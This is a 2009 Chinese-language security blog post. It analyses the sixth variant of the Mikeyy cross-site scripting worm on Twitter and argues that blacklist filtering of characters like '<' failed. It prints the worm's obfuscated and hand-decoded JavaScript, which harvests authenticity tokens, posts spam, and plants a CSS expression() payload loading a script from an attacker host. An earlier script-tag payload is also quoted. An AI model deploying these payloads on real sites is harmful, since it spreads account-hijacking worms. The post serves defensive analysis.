阿碼外傳-阿碼科技非官方中文 Blog: 2009/4/19

2009年4月19日

為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期,Mikeyy蠕蟲發威了五次,twitter也號稱將所有相關的XSS(跨網站腳本)漏洞都修復了。結果昨天Mikeyy再度發威,twitter也再度公佈,並在幾小時候宣布已經修補漏洞。沒想到18小時後,Mikeyy又重現,twitter也又趕快公佈並著手處理...(見上圖。)

這次蠕蟲來的猛,幾個小時內發出超過一萬五千封假tweet訊息:


難道說這麼簡單到不行的twitter介面,在經過一個星期後,還是無法正確修補XSS(跨網站腳本)漏洞?不...會...吧?事實上也是這樣,六代跟一至五代的XSS攻擊字串不同,證明了twitter的修補方法都是錯的,我們這邊就藉此實例來說明,為何XSS(跨網站腳本)那麼難修補?

這次的蠕蟲放在:hxxp://runebash.net/xss.js,有經過一層的混碼(obfuscation):

var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天,竟然沒有人貼出解碼後的版本(連解碼前之以上版本都找不到),真是苦命,都沒人想研究嗎?只好自己手動解一下:

function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);

var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");

} ;
setTimeout(wait(),5250);

重點在第34行,也就是這次攻擊的字串:
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩,沒錯,字串中沒有「<」或「>」或「"」等字元,當然也沒有「<script>」或「<script src=」等字串,但是還是有效達成XSS(跨網站腳本)的效果。

我們看一下被感染後使用者的原始HTML(節錄):

ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩,沒錯,這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下,其中就帶有「<script>」字串:
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 

有效防範XSS之難處在於,每個網站的架構之不同,可能造成多層的字串編解碼步驟,所以如何有效處理外來(不安全)的字串,因各網站而異,開發人員需要充分了解XSS的原理,才能有效避免。這個題目太大,晚上就要上飛機到RSA參展,目前無法寫太多,但是簡而言之,應盡量避免黑名單之使用,而採用白名單(比較資料型態,長度,合法性等)。以twitter的例子,twitter就是認為以黑名單方式過濾掉「<」或「>」或「"」等字元,就可以避免XSS了,但是當然不是這樣子,以這次六代的攻擊字串為例,其中並無包含任何以上字元,然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多,其中RSnake(ha.ckers.orgsla.ckers.org,OWASP有來台灣)的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整,可以參考。

為何說twitter是用黑名單方式?其實之前就測出來了,也有人通知,但是可能email都進垃圾信了,才會又讓Mikeyy捲土重來。其實不用測試,twitter的API手冊上,早就自己承認了:

手冊上直接說:為了避免cross-site scripting漏洞,「<」與「>」會經過編碼...這個在駭客的眼裡,其實是說:我很有可能有XSS漏洞,快來打我。黑名單絕對不是有效防止XSS(跨網站腳本)的方法。這是因為在很多情況下,是不需要「<」與「>」,甚至「"」等字元,就可以攻擊成功的。

在問題終於排除後,twitter再次宣布「問題已經控制住了(under control)」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢?



作者 Wayne 為阿碼科技CEO

後記一:因為這次網路上似乎都沒有人公開攻擊碼,剛才寫信給RSnake(ha.ckers.orgsla.ckers.org),他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區,看一下上面從Samy一路下來到都有收錄,幫他推一下,想研究XSS蠕蟲看這:http://sla.ckers.org/forum/read.php?2,14477

後記二:有朋友寫信來問,我才發現這系列幾篇中都忘記提了:注意攻擊方式是用「Post」非「Get」,很久以前的傳說:【使用「Post」非「Get」,就可以避免XSS】...當然一直都只是傳說。

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」(本篇)
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」


繼續閱讀全文...